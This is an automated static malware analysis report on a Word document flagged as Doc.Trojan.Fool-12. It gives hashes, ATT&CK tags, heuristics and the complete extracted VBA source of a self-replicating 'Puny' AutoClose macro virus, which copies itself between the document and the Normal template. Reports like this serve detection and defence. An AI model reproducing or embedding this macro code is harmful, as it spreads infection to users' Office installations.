Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab6d2e5a02a279fb…

MALICIOUS

Office (OLE)

26.0 KB Created: 2000-08-01 20:18:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: f5196451f07ad785d7c4fc6b2b3097bd SHA-1: c83d4614ed0914861a207a46dd8bacf5839ecb09 SHA-256: ab6d2e5a02a279fb463def7f6154eba631062f77ec5594f9f725dc476d4dbce2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Word document containing a VBA macro named 'AutoClose' which is automatically executed when the document is closed. The macro attempts to export a component to 'C:\P' and then import it, suggesting an attempt to establish persistence or download and execute a secondary payload. The ClamAV detection 'Doc.Trojan.Fool-12' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Fool-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Fool-12
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 795 bytes
SHA-256: caf94072b3d8c86cecd76353a287af37cdb95a11b4163e8906f9ec1ee47c8537
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Puny"
Sub AutoClose()
    'Puny v1.1 WalruS
    On Error Resume Next
    Options.SaveNormalPrompt = False
    Set N = NormalTemplate.VBProject.VBComponents: Set D = ActiveDocument.VBProject.VBComponents
If N.Item("Puny").Name <> "Puny" Then
    D("Puny").Export "C:\P": Set i = NormalTemplate.VBProject
ElseIf D.Item("Puny").Name <> "Puny" Then
    N("Puny").Export "C:\P": Set i = ActiveDocument.VBProject
End If
i.VBComponents.Import ("C:\P")
ActiveDocument.Save
End Sub